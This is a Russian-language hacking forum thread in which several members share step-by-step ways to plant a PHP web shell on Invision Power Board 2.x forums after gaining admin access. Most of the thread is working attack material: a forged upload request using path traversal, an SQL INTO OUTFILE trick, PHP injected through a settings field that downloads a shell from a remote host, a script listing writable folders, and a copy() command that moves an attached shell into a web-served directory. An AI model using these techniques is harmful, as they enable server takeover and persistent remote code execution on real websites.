Заливаем шелл в Ipb 2.*.*(и больше не спрашиваем:))

Discussion in 'Песочница' started by VampiRUS, 19 Oct 2006.

  1. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    В связи с тем что время от времени появляются темы с вопросами по заливке шелла, я решил собрать все способы во едино:
    1)"Administration(Администрирование)"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)"
    Обычно шелл грузится, если не включен SAFE MODE и хватает прав
    * /forum/style_emoticons/default/shell.php
    где default выбраная папка для загрузки shell.php имя вашего загруженного шелла.
    1.1)Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи.

    Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос.

    Исходный запрос для загрузки файла выглядит следующим образом:
    POST http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7 HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
    Referer: http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7&act=op&code=emo
    Accept-Language: ru
    Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc
    Proxy-Connection: Keep-Alive
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
    Content-Length: 677
    Pragma: no-cache
    Cookie: member_id=1; pass_hash=cf20fc37b4g0be45c1336f29d444e798;

    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="adsess"

    7456d367b18da87d161f59424a4e96f7
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="code"

    emo_upload
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="act"

    op
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="MAX_FILE_SIZE"

    10000000000
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="FILE_UPLOAD"; filename="c:/myFile.php"
    Content-Type: application/octet-stream

    <% echo("Hello from injected PHP script") %>
    -----------------------------7d43942c405bc--
    Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера.
    2)"Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла"
    phtml
    application/octet-stream
    выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да.
    идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше.
    после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл.
    3)
    "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем:
    PHP:
    CREATE TABLE `ibf_shell` (`shlTEXT NOT NULLTYPE MYISAM ;  INSERT INTO `ibf_shell` ( `shl` ) VALUES (`пхп-код`);  SELECT `shlFROM `ibf_shellINTO OUTFILE `путь/имяфайла.php`  DROP TABLE `ibf_shell`
    4)идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:
    PHP:
    $linky="http://site.ru/shell.txt";
    $saved="/usr/home/www/site/public_html/forum/uploads/shell.php";
    $from=fopen("$linky","r");
    $to=fopen("$saved","w");
    while(!
    feof($from)){
      
    $string=fgets($from,4096);
      
    fputs($to,$string);
    }
    fclose($to);
    fclose($from);
    Узнаем полный путь к uploads:
    "Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/"
    обычно этот путь указывается.

    Какой-то из этих способов всё равно сработает)).
    PS:Думаю стоит закрепить тему, так как не моногие умеют пользоваться поиском)).
    Если есть недочёты или дополнения, отписывайтесь.
     
    #1 VampiRUS, 19 Oct 2006
    Last edited: 19 Oct 2006
    13 people like this.
  2. MegaBits

    MegaBits Elder - Старейшина

    Joined:
    30 Aug 2006
    Messages:
    151
    Likes Received:
    24
    Reputations:
    10
    Респект!!!! Я сам иногда лазил с одной темы на другую потому как описаный способ не помогал тебе +!!!
     
    1 person likes this.
  3. Dimazzz

    Dimazzz Elder - Старейшина

    Joined:
    22 Nov 2005
    Messages:
    172
    Likes Received:
    19
    Reputations:
    1
    пункт 1.1 разве в паке upload разрешено исполнение скриптов? На сколько я знаю в этой папке запрещено исполнение сценариев. И в этом случае если прав на запись в смайлы не хватает то этот вариант можно отбросить.

    пункт 2. Ты никогда не сталкивался с тем что в админке нет оции атачей (невозможно добавить новый тип атча )она просто отсутствует =( чтож тогда делать? Я сталкивался с этим очень много раз.
     
    #3 Dimazzz, 19 Oct 2006
    Last edited by a moderator: 19 Oct 2006
    1 person likes this.
  4. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    POST http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7 HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
    Referer: http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7&act=op&code=emo
    Accept-Language: ru
    Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc
    Proxy-Connection: Keep-Alive
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
    Content-Length: 677
    Pragma: no-cache
    Cookie: member_id=1; pass_hash=cf20fc37b4g0be45c1336f29d444e798;

    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="adsess"

    7456d367b18da87d161f59424a4e96f7
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="code"

    emo_upload
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="act"

    op
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="MAX_FILE_SIZE"

    10000000000
    -----------------------------7d43942c405bc
    Content-Disposition: form-data; name="FILE_UPLOAD"; filename="c:/myFile.php"
    Content-Type: application/octet-stream

    <% echo("Hello from injected PHP script") %>
    -----------------------------7d43942c405bc--
    Потделай запрос.
     
    2 people like this.
  5. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    Если тебя uploads чем то не устраивает, поищи другую доступную для записи папку:
    PHP:
    $dir=dir("../");
    print 
    "Pwd: ".realpath($dir->path)."<br>\n";
    while(
    False!==($entry=$dir->read())){
            if(
    is_dir(realpath($dir->path).'/'.$entry)){
                    echo 
    $entry.(is_writable(realpath($dir->path).'/'.$entry)?' [W]':'')."<br>\n";
                                    }

            }
            
    $dir->close();
     
  6. Bs_Ru

    Bs_Ru Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    37
    Likes Received:
    12
    Reputations:
    1
    Постоянно юзаю этот способ, все ок, есть еще один способ, нашел сам, но он такой муторный что лучше не запариваться...(Писал видео другу по нему ушел час!!!!!)
     
  7. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    мож опишешь всё-таки, вдруг другие способы не сработают, тогда и твой способ в дело пойдёт.
     
  8. IDW

    IDW New Member

    Joined:
    8 Sep 2008
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    ipb 2.3.6

    Парабабам))


    Совсем недавно я нашёл способ заливки шелла в ipb 2.3.6, способ не отличается новизной, но выполнен по другому, и РАБОТАЕТ! =)

    Что нам нужно:
    1.Логин и пасс от админки
    2. php шелл
    3. Библиотека pryamie_ruki.dll

    Итак, начнём:
    1. Входим в админку
    2. Пишем мессагу самому себе или пох кому, туда прикрепляем шелл (тип файла - дюбой, хоть txt)
    3. Заходим в Прочее - SQL инструменты, лезем в таблицу ibf_attachments, сморим наш файл, копируем путь (например, monthly_02_2009/msg-2-1233572102.ipb)
    4. Смотрим в Настройки - Общие настройки - путь к uploads (например, /home/siteru/forum/uploads/)
    5. Заходим в Настройки - Выбираем какую-нить малоприметную настройку, или где больше всего настроек - Создаём там новую настройку - В поле выполнить php код пишем:

    Например:
    Code:
    copy('/home/siteru/forum/uploads/monthly_02_2009/msg-2-1233572102.ipb', '/home/siteru/forum/style_emoticons/default/smile.php');
    6. Сохраняем, смотрим в style_emoticons/default/smile.php, и любуемся!

    P.S. У меня работало))
     
    #8 IDW, 2 Feb 2009
    Last edited: 3 Feb 2009
Loading...